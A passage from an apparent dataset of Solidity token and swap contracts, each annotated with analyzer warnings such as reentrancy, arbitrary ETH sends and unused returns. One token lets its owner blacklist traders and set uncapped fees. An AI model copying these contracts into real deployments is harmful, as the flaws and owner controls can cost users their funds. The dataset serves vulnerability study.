missing-zero-check | ID: f0f479a\n factory = IRouter(_router).factory();\n\n\t\t// missing-zero-check | ID: f0f479a\n weth = IRouter(_router).WETH();\n }\n\n function swapTokens(\n address _tokenA,\n address _tokenB,\n uint256 _amountIn,\n uint256 _amountOutMin,\n uint _deadline,\n bool _feeOnTransfer\n ) external payable {\n address[] memory path = new address[](2);\n\n if (_tokenA == address(0)) {\n path[0] = weth;\n\n path[1] = _tokenB;\n } else if (_tokenB == address(0)) {\n path[0] = _tokenA;\n\n path[1] = weth;\n } else {\n path[0] = _tokenA;\n\n path[1] = _tokenB;\n }\n\n _swap(\n _tokenA,\n _tokenB,\n _amountIn,\n _amountOutMin,\n path,\n _deadline,\n _feeOnTransfer\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 79af947): CryptoSwap._swap(address,address,uint256,uint256,address[],uint256,bool) ignores return value by IRouter(router).swapExactETHForTokens{value amountToSwap}(_amountOutMin,_path,msg.sender,_deadline)\n\t// Recommendation for 79af947: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 39ffe63): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 39ffe63: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _swap(\n address _tokenA,\n address _tokenB,\n uint256 _amountIn,\n uint256 _amountOutMin,\n address[] memory _path,\n uint _deadline,\n bool _feeOnTransfer\n ) internal {\n require(_amountIn > 0, \"Swap: amountIn must be greater than 0\");\n\n uint fee = (_amountIn * feePercent) / 10000;\n\n uint amountToSwap = _amountIn - fee;\n\n if (_tokenA == address(0)) {\n require(_amountIn >= msg.value, \"Swap: Insufficient ETH\");\n\n\t\t\t// arbitrary-send-eth | ID: 39ffe63\n payable(feeAccount).transfer(fee);\n\n\t\t\t// unused-return | ID: 79af947\n\t\t\t// arbitrary-send-eth | ID: 39ffe63\n IRouter(router).swapExactETHForTokens{value: amountToSwap}(\n _amountOutMin,\n _path,\n msg.sender,\n _deadline\n );\n } else {\n uint balanceBefore = _feeOnTransfer\n ? IERC20(_tokenA).balanceOf(address(this))\n : 0;\n\n IERC20(_tokenA).safeTransferFrom(\n msg.sender,\n address(this),\n _amountIn\n );\n\n IERC20(_tokenA).safeTransfer(feeAccount, fee);\n\n if (_feeOnTransfer) {\n amountToSwap =\n IERC20(_tokenA).balanceOf(address(this)) -\n balanceBefore;\n }\n\n _approveForRouter(_tokenA, amountToSwap);\n\n (bool success, ) = router.call(\n abi.encodeWithSelector(\n _getSwapFunction(_tokenB, _feeOnTransfer),\n amountToSwap,\n _amountOutMin,\n _path,\n msg.sender,\n _deadline\n )\n );\n\n require(success, \"Swap: Token swap failed\");\n }\n }\n\n function _getSwapFunction(\n address _tokenB,\n bool _feeOnTransfer\n ) internal view returns (bytes4) {\n if (_tokenB == address(0) && _feeOnTransfer)\n return\n IRouter(router)\n .swapExactTokensForETHSupportingFeeOnTransferTokens\n .selector;\n else if (_tokenB == address(0))\n return IRouter(router).swapExactTokensForETH.selector;\n else if (_feeOnTransfer)\n return\n IRouter(router)\n .swapExactTokensForTokensSupportingFeeOnTransferTokens\n .selector;\n else return IRouter(router).swapExactTokensForTokens.selector;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 85d19e4): CryptoSwap._approveForRouter(address,uint256) ignores return value by IERC20(_token).approve(router,_amount)\n\t// Recommendation for 85d19e4: Ensure that all the return values of the function calls are used.\n function _approveForRouter(address _token, uint _amount) internal {\n\t\t// unused-return | ID: 85d19e4\n IERC20(_token).approve(router, _amount);\n }\n\n function getOutputTokenAmount(\n uint inputAmount,\n address[] memory path\n ) external view returns (uint outputAmount) {\n uint amount = inputAmount - ((inputAmount * feePercent) / 10000);\n\n uint[] memory outputs = IRouter(router).getAmountsOut(amount, path);\n\n return outputs[outputs.length - 1];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c1d15eb): CryptoSwap.setFeePercent(uint256) should emit an event for feePercent = _feePercent \n\t// Recommendation for c1d15eb: Emit an event for critical parameter changes.\n function setFeePercent(uint _feePercent) external onlyOwner {\n\t\t// events-maths | ID: c1d15eb\n feePercent = _feePercent;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 35e06bc): CryptoSwap.setFeeAccount(address)._feeAccount lacks a zerocheck on \t feeAccount = _feeAccount\n\t// Recommendation for 35e06bc: Check that the address is not zero.\n function setFeeAccount(address _feeAccount) external onlyOwner {\n\t\t// missing-zero-check | ID: 35e06bc\n feeAccount = _feeAccount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 20ab3f5): CryptoSwap.setLiquidtyFee(uint256) should emit an event for addLiquidityFee = _addLiquidityFee \n\t// Recommendation for 20ab3f5: Emit an event for critical parameter changes.\n function setLiquidtyFee(uint256 _addLiquidityFee) external onlyOwner {\n\t\t// events-maths | ID: 20ab3f5\n addLiquidityFee = _addLiquidityFee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 737bb60): CryptoSwap.setRouterWeth(address,address)._router lacks a zerocheck on \t router = _router \t factory = IRouter(_router).factory()\n\t// Recommendation for 737bb60: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 10c979a): CryptoSwap.setRouterWeth(address,address)._weth lacks a zerocheck on \t weth = _weth\n\t// Recommendation for 10c979a: Check that the address is not zero.\n function setRouterWeth(address _router, address _weth) external onlyOwner {\n\t\t// missing-zero-check | ID: 737bb60\n router = _router;\n\n\t\t// missing-zero-check | ID: 737bb60\n factory = IRouter(_router).factory();\n\n\t\t// missing-zero-check | ID: 10c979a\n weth = _weth;\n }\n\n function getPair(\n address _tokenA,\n address _tokenB\n ) external view returns (address) {\n return IFactory(factory).getPair(_tokenA, _tokenB);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 669da6a): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 669da6a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 71806a2): CryptoSwap.addLiquidity(address,address,uint256,uint256,uint256,uint256,uint256) sends eth to arbitrary user Dangerous calls address(feeAccount).transfer(addLiquidityFee)\n\t// Recommendation for 71806a2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function addLiquidity(\n address _tokenA,\n address _tokenB,\n uint _amountADesired,\n uint _amountBDesired,\n uint _amountAMin,\n uint _amountBMin,\n uint _deadline\n ) external payable {\n require(\n _amountADesired > 0 && _amountBDesired > 0,\n \"Swap: Amounts must be greater than 0\"\n );\n\n require(\n msg.value >= addLiquidityFee,\n \"Swap: not enough balance to pay fee\"\n );\n\n IERC20(_tokenA).safeTransferFrom(\n msg.sender,\n address(this),\n _amountADesired\n );\n\n IERC20(_tokenB).safeTransferFrom(\n msg.sender,\n address(this),\n _amountBDesired\n );\n\n _approveForRouter(_tokenA, _amountADesired);\n\n _approveForRouter(_tokenB, _amountBDesired);\n\n\t\t// unused-return | ID: 669da6a\n IRouter(router).addLiquidity(\n _tokenA,\n _tokenB,\n _amountADesired,\n _amountBDesired,\n _amountAMin,\n _amountBMin,\n msg.sender,\n _deadline\n );\n\n\t\t// arbitrary-send-eth | ID: 71806a2\n payable(feeAccount).transfer(addLiquidityFee);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a22d721): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for a22d721: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0dfcb13): CryptoSwap.addLiquidityETH(address,uint256,uint256,uint256,uint256) sends eth to arbitrary user Dangerous calls address(feeAccount).transfer(addLiquidityFee)\n\t// Recommendation for 0dfcb13: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function addLiquidityETH(\n address _token,\n uint _amountTokenDesired,\n uint _amountTokenMin,\n uint _amountETHMin,\n uint _deadline\n ) external payable {\n require(\n _amountTokenDesired > 0 && msg.value > 0,\n \"Swap: Amounts must be greater than 0\"\n );\n\n require(\n msg.value - _amountETHMin >= addLiquidityFee,\n \"Swap: not enough balance to pay fee\"\n );\n\n IERC20(_token).safeTransferFrom(\n msg.sender,\n address(this),\n _amountTokenDesired\n );\n\n _approveForRouter(_token, _amountTokenDesired);\n\n uint amountETH = msg.value - addLiquidityFee;\n\n\t\t// unused-return | ID: a22d721\n IRouter(router).addLiquidityETH{value: amountETH}(\n _token,\n _amountTokenDesired,\n _amountTokenMin,\n _amountETHMin,\n msg.sender,\n _deadline\n );\n\n\t\t// arbitrary-send-eth | ID: 0dfcb13\n payable(feeAccount).transfer(addLiquidityFee);\n }\n\n function emergencyWithdraw(\n address _token,\n uint256 _amount\n ) external onlyOwner {\n IERC20(_token).safeTransfer(msg.sender, _amount);\n }\n\n function emergencyWithdrawETH(uint256 _amount) external onlyOwner {\n payable(owner()).transfer(_amount);\n }\n}\n",
"file_name": "solidity_code_10639.sol",
"size_bytes": 24704,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BoopTheSnoot is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06b6692): BoopTheSnoot.enabled should be constant \n\t// Recommendation for 06b6692: Add the 'constant' attribute to state variables that never change.\n uint256 private enabled = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 137a1b8): BoopTheSnoot._taxWallet should be constant \n\t// Recommendation for 137a1b8: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x0cAe63407c1d078E4F10352ED4d211113a86592D);\n\n uint256 private _initBuyTax = 25;\n\n uint256 private _initSellTax = 45;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85a9186): BoopTheSnoot._finalBuyTax should be constant \n\t// Recommendation for 85a9186: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d367c8): BoopTheSnoot._finalSellTax should be constant \n\t// Recommendation for 8d367c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private lastSwap;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Boop the snoot\";\n\n string private constant _symbol = unicode\"KITTY\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n uint256 public _taxSwapThreshold = 8000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d403ec): BoopTheSnoot.uniswapV2Router should be immutable \n\t// Recommendation for 4d403ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac2e06b): BoopTheSnoot.uniswapV2Pair should be immutable \n\t// Recommendation for ac2e06b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"ERROR: Trading is already enabled.\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n lastSwap = block.number;\n }\n\n function unblockSnipers(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cbb1009): BoopTheSnoot._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cbb1009: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a9c5e93\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5464d87\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56542c3): BoopTheSnoot.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56542c3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 74a0e58): BoopTheSnoot.changeFee(uint256,uint256) should emit an event for _initBuyTax = _newInitialBuyFee _initSellTax = _newInitialSellFee \n\t// Recommendation for 74a0e58: Emit an event for critical parameter changes.\n function changeFee(\n uint256 _newInitialBuyFee,\n uint256 _newInitialSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 74a0e58\n _initBuyTax = _newInitialBuyFee;\n\n\t\t// events-maths | ID: 74a0e58\n _initSellTax = _newInitialSellFee;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function blockSnipers(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5464d87): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5464d87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a9c5e93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a9c5e93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5464d87\n\t\t// reentrancy-benign | ID: a9c5e93\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5464d87\n\t\t// reentrancy-benign | ID: a9c5e93\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9020f24): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9020f24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef2b427): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef2b427: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"Trading not open\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount.mul(_initBuyTax).div(100);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_initSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n lastSwap != block.number\n ) {\n\t\t\t\t// reentrancy-events | ID: 9020f24\n\t\t\t\t// reentrancy-eth | ID: ef2b427\n swapTokensForEth(_taxSwapThreshold);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9020f24\n\t\t\t\t\t// reentrancy-eth | ID: ef2b427\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ef2b427\n lastSwap = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ef2b427\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9020f24\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ef2b427\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ef2b427\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9020f24\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5464d87\n\t\t// reentrancy-events | ID: 9020f24\n\t\t// reentrancy-benign | ID: a9c5e93\n\t\t// reentrancy-eth | ID: ef2b427\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5464d87\n\t\t// reentrancy-events | ID: 9020f24\n\t\t// reentrancy-eth | ID: ef2b427\n _taxWallet.transfer(amount);\n }\n\n function manualSend() external {\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n _taxWallet.transfer(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1064.sol",
"size_bytes": 16385,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mechazilla is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b79ee37): Mechazilla._taxWallet should be immutable \n\t// Recommendation for b79ee37: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51859fe): Mechazilla._initialBuyTax should be constant \n\t// Recommendation for 51859fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 115a3f0): Mechazilla._initialSellTax should be constant \n\t// Recommendation for 115a3f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91044d3): Mechazilla._reduceBuyTaxAt should be constant \n\t// Recommendation for 91044d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: e167698): Mechazilla._reduceSellTaxAt should be constant \n\t// Recommendation for e167698: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dce8d83): Mechazilla._preventSwapBefore should be constant \n\t// Recommendation for dce8d83: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SpaceX Mechazilla\";\n\n string private constant _symbol = unicode\"Mechazilla\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52d41af): Mechazilla._taxSwapThreshold should be constant \n\t// Recommendation for 52d41af: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 122f2ca): Mechazilla._maxTaxSwap should be constant \n\t// Recommendation for 122f2ca: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xc93bcc8B32a2d5C74b5A1906EaE25940daE49bEE);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebd334d): Mechazilla.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ebd334d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 